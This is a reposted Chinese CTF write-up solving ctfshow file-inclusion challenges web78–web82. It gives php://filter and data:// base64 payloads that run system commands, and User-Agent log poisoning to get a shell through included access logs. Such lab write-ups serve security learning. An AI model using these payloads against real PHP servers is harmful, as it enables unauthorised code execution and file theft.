当前位置:网站首页>ctfshow 文件包含
ctfshow 文件包含
2022-07-30 23:17:00 【白塔河冲浪手】
web78
进入环境

直接利用php://filter伪协议读取flag.php文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得到flag

web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} str_replace替换字符串

将变量file中的php替换成???
那我们这里就不能用php伪协议了换data协议并用base64加密
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==

?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
<?php system('cat flag.php'); ?>
web80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} 同上过滤php,data
正常服务器中的日志文件位置:
/var/log/nginx/access.log
/var/log/apache2/access.log这里包含日志文件来getshell

可以看见日志文件会记录User-Agent
抓包修改User-Agent
<?php system('ls');?>
<?php system('cat fl0g.php');?>
web81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} 同上过滤php,data,:
使用日志文件getshell
和上题一样
web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>.也过滤了日志包含不行
边栏推荐
- Successfully solved ImportError: always import the name '_validate_lengths'
- ML's shap: Based on FIFA 2018 Statistics (2018 Russia World Cup) team match star classification prediction data set using RF random forest + calculating SHAP value single-sample force map/dependency c
- 牛逼的公司都在用的绩效管理法OKR
- 2022中国物流产业大会暨企业家高峰论坛在杭州举办!
- HCIP第十六天笔记
- 2sk2225 Substitute 3A/1500V Chinese Documentation【PDF Data Book】
- 数据清洗-使用es的ingest
- 【LeetCode】42. 接雨水 - Go 语言题解
- #yyds干货盘点# 面试必刷TOP101:判断链表中是否有环
- MySQL连接时出现2003错误
猜你喜欢

【云驻共创】HCSD大咖直播–就业指南

Golang go-redis cluster模式下不断创建新连接,效率下降问题解决

抽象类和接口(学习笔记)

CPM:A large-scale generative chinese pre-trained lanuage model

Apache Doris series: In-depth understanding of real-time analytical database Apache Doris
![[MySQL] Mysql transaction and authority management](/img/a5/c92e0404c6a970a62595bc7a3b68cd.gif)
[MySQL] Mysql transaction and authority management

测试人面试 常被问到的计算机网络题,高薪回答模板来了

Excel基础学习笔记

$\text{ARC 145}$

IDEA usage skills
随机推荐
tcp协议传输中的粘包问题
2022中国物流产业大会暨企业家高峰论坛在杭州举办!
【MySQL】MySQL中对数据库及表的相关操作
如何在 AWS 中应用 DevOps 方法?
【Untitled】
PyTorch模型导出到ONNX文件示例(LeNet-5)
Soft Exam Study Plan
软件测试三阶段,你在哪一步?
grub learning
$\text{ARC 145}$
数据清洗-使用es的ingest
MySQL进阶sql性能分析
Go1.18升级功能 - 模糊测试Fuzz 从零开始Go语言
雪佛兰开拓者,安全保障温暖你的家庭出行的第一选择
HCIP Day 15 Notes
解决一个Mysql的utf8编码导致的问题
PS基础学习(一)
"Wei cup" school more than 2022 cattle summer camp 4 Nancy (polocy) pelosi article variance law of Arts
go版本升级
Py's pdpbox: a detailed introduction to pdpbox, installation, and case application
